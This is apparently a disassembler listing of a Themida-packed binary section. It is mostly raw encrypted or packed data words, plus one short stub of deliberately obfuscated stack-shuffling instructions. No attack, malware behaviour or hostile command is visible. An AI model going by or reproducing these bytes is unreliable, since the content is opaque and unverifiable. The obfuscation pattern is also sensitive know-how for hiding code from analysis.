		dd 35D00822h, 0A3DB4423h, 4CE0F8D5h, 9415936h, 0A6BA5C5Ch
		dd 7E1CE013h, 0B8538B9Fh, 0E25D09A6h, 3A59ED05h, 0A7095955h
		dd 1132D09h, 4FB24808h,	54A91B14h, 96A99F1Bh, 8DF6D5E7h
		dd 0E461C355h, 1B8F701Fh, 19DE5BBBh, 0B51B8F70h, 0C7E1F34Ch
		dd 0E39AD2EAh, 0B3DC580Ch, 722EABFBh, 401C6679h, 4D7243D7h
		dd 425E3942h, 0D53799E9h, 42A0A358h, 0B4C62F14h, 0ABA9FFBBh
		dd 1464CD13h, 457D9D76h, 4A829A77h, 7E4456AFh, 27BBD3B0h
		dd 0BE93411h, 75CEE4C2h, 4737E41Ch, 0D27429A3h,	0D5A3DBF7h
		dd 67A5DDFBh, 88AAE69Eh, 7E45B0Bh, 0E5101CE8h, 0CA231E59h
		dd 24432036h, 250B94CAh, 442D34ECh, 99397D8Eh, 0E1AFE740h
		dd 0C562E702h, 65C7BC39h, 2A937B29h, 0FA0466CAh, 714C449Ah
		dd 6EC7C6E5h, 0FCA87F36h, 0F88CA481h, 0B5ED05E2h, 0F2Fh
		dd 3E17B500h, 64BE1Eh, 20F26ED9h, 3E8D390Eh, 245C7E56h
		dd 29617956h, 2F677D5Bh, 31698761h, 346C8863h, 376F8B66h
		dd 3E768A69h, 427A9470h, 437B9B74h, 0E38953EEh,	4C381h
		dd 0EB830000h, 241C3304h, 33241C31h, 535C241Ch,	0C381E389h
		dd 4, 4EB81h, 1C870000h, 1C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 7E9095Ah
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, ebx
		mov	[edi+8], esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		dd 0FE86E03Eh, 0E90E02B8h, 0FFC50307h, 205B89E0h, 5D54605Eh
		dd 0D114857h, 1CFDE5Bh,	0BD372457h, 0D17B5E56h,	4D891A7Bh
		dd 0DE21667Eh, 0F82E851Bh, 4B31B2Fh, 45AD076Bh,	143BD533h
		dd 0CC39A129h, 0F87FB68h, 92400A34h, 0CE001744h, 7B3B2525h
		dd 4B55DD4Bh, 39BA0A60h, 0BE2E3937h, 0B76E2A5Fh, 0FC96E131h
		dd 0AD172B7Bh, 413FE53Bh, 0D1AB6327h, 0DFA1231Fh, 0A62AE861h
		dd 0C5778600h, 6C3D3678h, 46504B56h, 85858D74h,	6A07E40Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 190AC355h, 4116D1A5h, 8FCE5C99h, 0E950DD8Ah
		dd 5, 46E715F7h, 240489BCh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0F3C35141h, 9666EDABh, 6AD5898Eh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 6EDFC278h, 6A006AE5h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0C94C353h, 7BE3477Ah
		dd 9D8B896Eh, 7E4273Dh,	1117858Dh, 6A07E9h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 23265CC3h
		dd 0E40105BDh, 5C08307h, 2518589h, 0F5007E4h, 688h, 0F19D8B00h
		dd 5F07E40Eh, 0C1BDBB90h, 8B502F8Fh, 6A90D8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0DABD09C3h
		dd 0E53F11C9h, 0D78166F9h, 6A8F98h, 6AF8B70Fh, 5DBF6600h
		dd 7195FFC3h, 8107E424h, 627821C3h, 4B8D8D70h, 2907E7D6h
		dd 0E42D5185h, 6AD1FF07h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 5E29C356h, 3C7D9205h
		dd 85BD8B7Eh, 8007E400h, 0BD83CADFh, 7E42015h, 97850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0B63C355h, 8929A1F3h, 8D091DEEh
		dd 7E42FD1h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8C0FCBC3h, 3, 5076CF80h,	3850Fh
		dd 8B660000h, 240489FBh, 95FFDA8Bh, 7E431ADh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 85C35545h, 0FE8CAh
		dd 25FB0000h, 7871A5F9h, 4BC5078Bh, 0D774168Ah,	0B7E95F55h
		db 0Ch,	2 dup(0)
byte_5D35A7	db 0E8h			; DATA XREF: Themida_:005826DCo
		dd 0
		dd 21ED815Dh, 8B07E911h, 0E40DAD9Dh, 0FE8B6607h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 6FC35545h, 858DF9D5h
		dd 7E7C6E1h, 14E990h, 0A6EB0000h, 83BF21D3h, 940A6609h
		dd 456B725Fh, 0D8A2EC65h, 905027C9h, 2FBD8D89h,	9E907E4h
		dd 6E000000h, 6862340Ch, 0DA06027Ch, 35FF64h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0C949C350h, 1AC8E326h, 0BD8B9AA0h, 7E41E2Dh
		dd 258964h, 3000000h, 0E41BB59Dh, 0B985FF07h, 3107E420h
		dd 0E423D195h, 0BBFF6A07h, 47C12D63h, 1D49B5FFh, 9D8B07E4h
		dd 7E41E35h, 304D95FFh,	0E3E907E4h, 8B000000h, 0E416699Dh
		dd 0E600B007h, 71E4F570h, 0A8D8D89h, 613C07E4h,	0C8830Fh
		dd 9D8B0000h, 7E42DD5h,	66C8B60Fh, 0D35DF381h, 6BAh, 0C18BF500h
		dd 0F504E8C1h, 66E2F766h, 85BFFA8Bh, 2B4EC85Dh,	0C19D8BC8h
		dd 8B07E41Eh, 358589D1h, 0E907E424h, 13h, 47B232D5h, 93CCB86Bh
		dd 0BC8FF90Fh, 42980DC3h, 0E9AD49F1h, 76h, 33119D03h, 858B07E4h
		dd 1, 0EF8166F5h, 0C0835BA8h, 0BD958907h, 8307E424h, 0BD8B00C0h
		dd 7E41BE5h, 830FD03Bh,	6, 45E9h, 8D8BF800h, 0FFFFFFFFh
		dd 18358509h, 0E18307E4h, 2F840F01h, 0F9000000h, 0FFFFA583h
		dd 50FEFFFFh, 0BE9h, 7C5FBE00h,	0E40604ABh, 0A39AA88h
		dd 195895Bh, 0F000000h,	484h, 6CBB6600h, 0E9D0h, 0B58D0000h
		dd 7E88A37h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	24C35040h, 219D8B4Bh, 6A07E406h, 859D2900h, 0FF07E40Fh
		dd 0E40E4195h, 19D8B07h, 0B907E433h, 0F6Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F2C35242h, 0D0ADED90h
		dd 2C120319h, 0DE9EFh, 38A00000h, 226E32F9h, 339B9BC3h
		dd 839E4E8Ah, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0C65535C3h, 97241D61h, 84EF80DCh
		dd 53006AFCh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 29AA1887h, 0F1B5898Ch, 2B07E40Eh, 8644BBC0h
		dd 0BA4411h, 0E8000000h, 0Ch, 4CB0E651h, 39CC9EF9h, 0E6B4FFD4h
		dd 33AD5FFCh, 3E8D1C2h,	4E983D0h, 10E9F475h, 0C1000000h
		dd 0DC72675h, 749F17F4h, 85454BAEh, 6A80D6B8h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 241CC350h, 810FFA34h, 14h, 0FE9h, 0D1908600h, 0A75889DBh
		dd 0C4542A8Ah, 610727E2h, 880Dh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 83B334EBh
		dd 0F164AF9Dh, 9D89E9DBh, 7E42375h, 35659D8Bh, 958B07E4h
		dd 7E41B71h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0A4C35545h, 83D94750h, 918D2903h, 8B07E406h, 0E42DA18Dh
		dd 0D88B6607h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 0BF0F5818h, 9BD33DEh, 8307E425h, 0E40611BDh,	840F0007h
		dd 79h,	1EC19529h, 0BD8B07E4h, 7E422B5h, 0B8h, 0AE800h
		dd 49670000h, 52F3A68Bh, 578DB984h, 3341B589h, 8D5F07E4h
		dd 0E44FE78Dh, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 532820BAh, 89CDA452h
		dd 0E406618Dh, 6AE1FF07h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8915C353h, 0E41CD9BDh
		dd 0B9BD8307h, 7E422h, 435840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 7BA9D0C3h
		dd 0AE98Ch, 6CB90000h, 37E83AC4h, 4B3C98E7h, 18A19D8Bh
		dd 0BD8307E4h, 7E422B9h, 0F840F01h, 6A000004h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 7364C353h, 3FDBAFDAh, 0C99D8D4Fh, 860FFB8Bh,	6, 2AB59D8Bh
		dd 0BD8307E4h, 7E422B9h, 99860F03h, 6A000003h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0E861C350h, 5, 278D8956h, 0F8E0F38h,	0E9000000h, 0Ah
		dd 256367BFh, 0E0D91h, 235B0200h, 0E402119Dh, 6A6007h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 66CAAEC3h, 870FD98Ch, 0Ah, 5E9h, 0D816C600h,	0E180CE5Dh
		dd 699D8904h, 0A07E425h, 54840FC9h, 1000001h, 0E41F3985h
		dd 51858B07h, 6A07E406h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0B99BC350h,	2201D86Ah
		dd 13E8534Ch, 84000000h, 63C6E795h, 8B73C3FAh, 774FC930h
		dd 4D94F02Dh, 10E9F86Ch, 28000000h, 0C641AD04h,	0C1BAF195h
		dd 5BA420E6h, 5F76CC2Dh, 20298533h, 9DBB07E4h, 504138D3h
		dd 0FA8B5250h, 0DE8B310Fh, 489585Ah, 53006A24h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 38BB668Eh
		dd 9E924h, 4C830000h, 0C0742922h, 6AB8FE20h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 6365829Fh, 9F69EA3h,	9D890413h, 7E42031h, 9D090EB7h
		dd 7E4313Dh, 4DDCBE68h,	3056BFEBh, 481277Eh, 0D1274124h
		dd 8BF96014h, 0E43235B5h, 30BF6107h, 0FF2E537Ah, 0E42D9995h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 85890320h, 7E7F8A5h, 6860Fh, 8D090000h
		dd 7E41879h, 16CE9h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 12847D6Ah, 8B2D9677h
		dd 0E7F89D85h, 68F0F07h, 81000000h, 0F4C3F6EFh,	1800C753h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 89D3C353h, 24DE4860h, 0A1B58B5Eh
		dd 8907E7F8h, 0E4192595h, 99858B07h, 8907E400h,	0E41641BDh
		dd 0F5068907h, 651858Bh, 6A07E4h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0FE8083C3h, 0C2EB6B18h
		dd 7C529EBBh, 0C781664Bh, 9D8B969Fh, 7E40E11h, 1044689h
		dd 0E41D859Dh, 0BB665007h, 34899B69h, 51006A24h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 0C4BA725Ch, 2D059D8Bh, 8B6607E4h, 9DB5FFF9h,	8907E7F8h
		dd 0E42ED995h, 73726807h, 34811E3Eh, 21708D24h,	0A59D231Eh
		dd 8D07E42Fh, 0E7F8A585h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 84C168BDh
		dd 50DFB70Fh, 0FD4DBA60h, 8B6643B8h, 48961D8h, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9D311FFFh, 7E42651h,	5439EB81h, 95FF6116h, 7E42D99h
		dd 6A61F9h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 89D2D7C3h, 0E4228D8Dh, 0B985C707h, 307E422h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 62F2C355h, 9D8B3A06h, 7E41639h
		dd 14AD9D8Bh, 0BD8307E4h, 7E7F8A5h, 11840F00h, 66000000h
		dd 0E9CDFDBFh, 23h, 9B53150h, 5F07E423h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0B9D5C352h, 9CDAEE5Ch, 22B9BD83h, 0F0307E4h,	3D085h
		dd 0FBB70F00h, 0F8A5BD83h, 0F0007E7h, 3C084h, 0B5FFFC00h
		dd 7E7F8A5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	7DC35545h, 0B4887ECEh, 0FE88389h, 0C1000000h, 0E43D0D86h
		dd 9D691579h, 0D42D738Dh, 8A0FA5C3h, 2,	0FF5BF88Bh, 0E4044D95h
		dd 0D8BF6607h, 99B58B3Ah, 8B07E7F8h, 0E408819Dh, 106C707h
		dd 6A000100h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0AFBAC356h, 0E14FE3BBh, 8D899116h
		dd 7E40439h, 3BB6650h, 2434890Bh, 0CE8h, 0A777F900h, 225D24B3h
		dd 1D4784D0h, 5FDF8B3Ah, 0F8A5B5FFh, 8D8907E7h,	7E40E89h
		dd 2A0995FFh, 0D98B07E4h, 25F19589h, 0B58B07E4h, 7E7F899h
		dd 1ADD8D89h, 858B07E4h, 7E43165h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 12C35343h, 4980E47Eh, 0F88B662Eh
		dd 0C48689h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0A7485FC3h, 8824407Ah, 958BFA8Bh
		dd 7E41B71h, 27959589h,	0C28307E4h, 89FA8B04h, 8D892050h
		dd 7E41CA5h, 0CD4858Dh,	6A07E8h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 6A7FA1C3h, 0B2F9B8EEh
		dd 89F6409Ch, 0E4213D8Dh, 5DBD8B07h, 8907E405h,	0B886h
		dd 29B58900h, 0F07E414h, 6AF8B7h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 82C35242h, 348DC415h, 36D7FF2Dh
		dd 0A5B5FFEAh, 6A07E7F8h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0C9D0C357h,	8166232Fh
		dd 0FFCFB6F7h, 0E431AD95h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 510EEC71h
		dd 0AC3BB11Fh, 30319589h, 0BF9607E4h, 2A9F104Eh, 0EE950h
		dd 0FF250000h, 0F755AC9Fh, 0B00BE280h, 0E2B3E57Bh, 53006A96h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0FF259F8Eh, 0E7F8A5B5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0FE91A466h
		dd 68E386BFh, 0BF66CC77h, 95FF1BC1h, 7E41B11h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 92C35040h, 8EA4E512h
		dd 0B0D9D8Bh, 0BD8307E4h, 7E40DF9h, 26840F00h, 0F000000h
		dd 686h, 79BD0900h, 9607E40Dh, 9E9h, 680EA500h,	78C43AF8h
		dd 5050CAE4h, 0DE8B6652h, 585A310Fh, 0A5B5FF96h, 0F07E7F8h
		dd 0C8Eh, 68D0F00h, 89000000h, 0E409598Dh, 7D95FF07h, 6A07E402h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0C402C357h, 0E59D8B00h, 0FF07E418h, 0E7F8A5B5h
		dd 48A0F07h, 52000000h,	0FF5B6160h, 0E4097195h,	68F0F07h
		dd 33000000h, 0E43011BDh, 21BD8307h, 207E40Ah, 77840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 889E5DC3h, 0BD0BE254h, 7E420F5h, 1EB5858Bh
		dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0BBE167C3h, 6B3D5915h, 0DE960h, 9EEE0000h
		dd 0D7694F5Bh, 534BCC70h, 666C3767h, 6121ACB9h,	0E1BD0160h
		dd 8107E418h, 692833D3h, 0C66117h, 7185C700h, 7E426h, 29000000h
		dd 0E40D318Dh, 0F433E907h, 880FFFFFh, 6, 2301BD31h, 8D2907E4h
		dd 7E42639h, 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0C249FCC3h, 0CBFFDB81h, 858D5C53h
		dd 7E40D85h, 8B666090h,	8B5250D9h, 0B5310FCAh, 61585AABh
		dd 12E950h, 1D730000h, 4C9C5ECEh, 2E989985h, 24427D70h
		dd 0E4B11E02h, 0A5BD0390h, 6A07E41Fh, 85BD8B00h, 6A07E402h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 36965EC8h, 12E994DBh, 0CB000000h, 0A1EC12C3h
		dd 0B9125EECh, 0DE2AB413h, 3EEAB696h, 69950114h, 8D07E40Fh
		dd 0E91F3C85h, 0C083F507h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 7252E92Eh
		dd 9D8BD780h, 7E40291h,	8E990h,	0BB480000h, 58DD93BAh
		dd 8B50DE9Bh, 6A90DEh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 7900DDC3h, 8B2BC1F9h, 0E422B5BDh
		dd 80006A07h, 6A54EBh, 95FF23B3h, 7E42471h, 9159D8Bh, 8D8D07E4h
		dd 7E7D64Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	20C35242h, 0B0702BF6h, 0CF80F956h, 8AD1FFCCh, 15BD83F9h
		dd 107E420h, 31850Fh, 26A0000h,	1A419589h, 0BD8B07E4h
		dd 7E42251h, 9F33BF50h,	489347Bh, 25BD8B24h, 8B07E40Ah
		dd 0E4194D9Dh, 0AD95FF07h, 0F07E431h, 287h, 0E985B300h
		dd 0F11h, 0E8h,	0ED815D00h, 7E91F46h, 1FF99D89h, 9D8B07E4h
		dd 7E422F9h, 0C6E1858Dh, 0E38107E7h, 5C46A629h,	24048950h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0FFC35545h
		dd 0E7555CAEh, 7E91506h, 8E000000h, 0CA99A73Dh,	0FF64F503h
		dd 35h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh,	24448104h
		dd 1604h, 0C3574700h, 662C4B27h, 44E9C781h, 1A4D9501h
		dd 896407E4h, 25h, 7622BB00h, 85FF3177h, 7E420B9h, 22418D89h
		dd 860F07E4h, 0Eh, 9E9h, 5E5F9000h, 0C02D263h, 0FF6A5308h
		dd 18A98D89h, 0B5FF07E4h, 7E41E8Dh, 3860Fh, 8B660000h
		dd 4D95FFD8h, 0E907E430h, 142h,	6860Fh,	0D7810000h, 35923030h
		dd 0B0DA8Bh, 0CE9h, 45CF6900h, 99DA2D91h, 16F506C7h, 2970E64Dh
		dd 0E41AB58Dh, 8B71E407h, 0E426E99Dh, 0F613C07h, 10983h
		dd 14FABB00h, 0BD8B1BF0h, 7E429DDh, 8BC8B60Fh, 0E42BB1BDh
		dd 6BA07h, 0BD030000h, 7E422B1h, 0E8C1C18Bh, 9D895104h
		dd 7E41F3Dh, 0E2F7665Bh, 60DF8B66h, 0A4A1DF81h,	858B1A53h
		dd 7E40F95h, 0E8C82B61h, 0Dh, 0DE740FD8h, 8847C9B8h, 35627B57h
		dd 3DADBF10h, 8B5F1BB1h, 11E9D1h, 16910000h, 78F001h, 9B80864Ah
		dd 3BD7AAE6h, 667FA85Ah, 0E9DD25BBh, 8Eh, 8BDFBF0Fh, 485h
		dd 9D9D3100h, 0FC07E42Bh, 6607C083h, 42A8C381h,	0B300C083h
		dd 0FD03BFAh, 2883h, 0CE900h, 27E50000h, 489E9DC0h, 6CBA4ABCh
		dd 53E924BFh, 0F000000h, 682h, 75958900h, 3107E42Dh, 0E403D1B5h
		dd 0FF8D8B07h, 9FFFFFFh, 0E4144DB5h
		dd 1E18307h, 2C840Fh, 0BD8B0000h, 7E43209h, 0FFFFA583h
		dd 0BFFEFFFFh, 7457705Ch, 0AE9h, 0F732D800h, 4981FF87h
		dd 895CDC1Dh, 495h, 0E900h, 0B58D0000h,	7E899A5h, 13959531h
		dd 6A07E4h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 18h,	23C35747h, 0BD0E609Fh, 95FF22B7h, 7E40E41h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DDC35343h, 8589F9E0h
		dd 7E41815h, 0FB5B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 89727EF8h, 0E42689B5h
		dd 0FCE18307h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0B9C35040h, 0E12B8DC5h,	50006AFCh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 4CA6FA1Ch
		dd 81668717h, 0B86BC1CBh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 5DC35040h
		dd 0B04E0433h, 0A58531E4h, 2B07E401h, 53006AD2h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 0CCBB3A49h, 8BB757A4h, 0E401419Dh, 0C233AD07h, 0D003E8D1h
		dd 7504E983h, 53006AF4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0BC3119FEh, 6AF8629Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 22D8C351h, 3FF8133Dh, 669BD8Bh, 880D07E4h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 32BFC357h, 162904E4h, 8BE97309h, 0E41AA1BDh
		dd 99BD2307h, 8B07E423h, 0E41B7195h, 5E907h, 0E0110000h
		dd 8B998D13h, 0E42DA18Dh, 8DF38107h, 5008E8F5h,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 57006A58h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0A8FCD598h
		dd 158B0FA1h, 0E8000000h, 0Ch, 3038F183h, 0FB420A7Ch, 40F9C61Dh
		dd 5FFBB70Fh, 2601BD8Bh, 0BD8307E4h, 7E40611h, 6A840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 5A61C352h, 0E5B3C6B6h,	0B8h, 55BD8B00h
		dd 8107E416h, 0D22EC5E3h, 0E78D8D59h, 0E907E44Fh, 7, 0E7FF7DE7h
		dd 0FF30A050h, 50006AE1h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 23C641ADh, 0E41E199Dh
		dd 0B9BD8307h, 7E422h, 4B8840Fh, 0BD290000h, 7E40085h
		dd 4CABD781h, 0BD834E7Ah, 7E422B9h, 0BA840F01h,	3000004h
		dd 0E407B59Dh, 0B9BD8307h, 307E422h, 471860Fh, 840F0000h
		dd 6, 3071BD8Bh, 6A6007E4h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0E310C356h,	8C66CC12h
		dd 53006AD9h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8BE6BDBDh, 0E41B1D9Dh, 0FAB70F07h, 6A04E180h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0A6EC357h, 9B840FC9h, 0F000001h, 0A8Eh, 5E900h
		dd 92000000h, 8BA8DBAAh, 0E4065185h, 49958907h,	3307E423h
		dd 0E4202985h, 0DE907h,	52540000h, 0B2F3864Fh, 0F29B2C3Eh
		dd 9057E11Eh, 0FE9h, 0BD957A00h, 1850CF4Eh, 0F63F8CFDh
		dd 282F08F8h, 50525050h, 0F525052h, 0F585A31h, 5AD88B31h
		dd 60310F58h, 0B0EE6EBFh, 0DE8B666Ah, 90585A61h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E1C35242h, 8166353Fh
		dd 6AE6FEDBh, 0BF0F6000h, 10E9CEh, 3A60000h, 9AA26631h
		dd 796646C1h, 9D822777h, 68615B58h, 0AB40FACh, 753343BBh
		dd 2434815Bh, 0AAB0C53h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 7EC35242h, 7E8h, 358FE800h, 9F02D71Bh
		dd 5959D31h, 0E85F07E4h, 7, 5B7E73C8h, 0FC613A6Fh, 9995FF5Bh
		dd 6A07E42Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 2A31C355h, 0DEF90C29h,	0D98B17EBh
		dd 12E8h, 0B583CB00h, 0E20B6479h, 44413BB4h, 523A76CFh
		dd 2B61E4E5h, 0E404319Dh, 0BF665F07h, 8589E9D7h, 7E7F8A5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0E5C35747h
		dd 29B31A0Dh, 0B75FBBFBh, 0AE97DB9h, 6A000002h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 3436C357h, 25E0F31Ch, 3E9B509h, 858B07E4h, 7E7F89Dh
		dd 0EE9h, 0AB0B1B00h, 99D95D05h, 0EF5FE744h, 0C7AFA6AFh
		dd 1800h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 298D89FBh, 8B07E406h, 0E7F8A1B5h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0D98B3DFFh, 99858Bh, 9D2307E4h, 7E4258Dh
		dd 6A0689h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 275166C3h, 5484BF0Ch, 6850Fh, 85310000h
		dd 7E40991h, 651858Bh, 0FE8B07E4h, 89FAB70Fh, 6A0446h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 3758B9C3h, 217F3ED7h, 2369FEB3h, 0E404D19Dh,	63BF9607h
		dd 5061E4BDh, 0A830Fh, 850F0000h, 4, 7A78BB66h,	51006A96h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 5D145A4Fh, 3C6A2592h, 0F99589BDh, 0FF07E400h, 0E7F89DB5h
		dd 21BD8B07h, 6607E42Dh, 688539BBh, 0B27077F6h,	0AE9h
		dd 0D8865200h, 9F5D9B2Dh, 8148B13Ah, 8C092404h,	0BD314DAEh
		dd 7E42B61h, 0F8A5858Dh, 6A07E7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 128E11C3h, 397E6189h
		dd 0F903586h, 388Dh, 0E8525000h, 12h, 1072424Bh, 0EDA99ABAh
		dd 0CCCB986Ch, 49C9654h, 0F5B54A1h, 14E831h, 36EB0000h
		dd 296570A6h, 9A8C4255h, 6F0FD98Bh, 0A3482BEEh,	5A5BB6ADh
		dd 8B905058h, 0E4249DBDh, 9995FF07h, 5307E42Dh,	12E9h
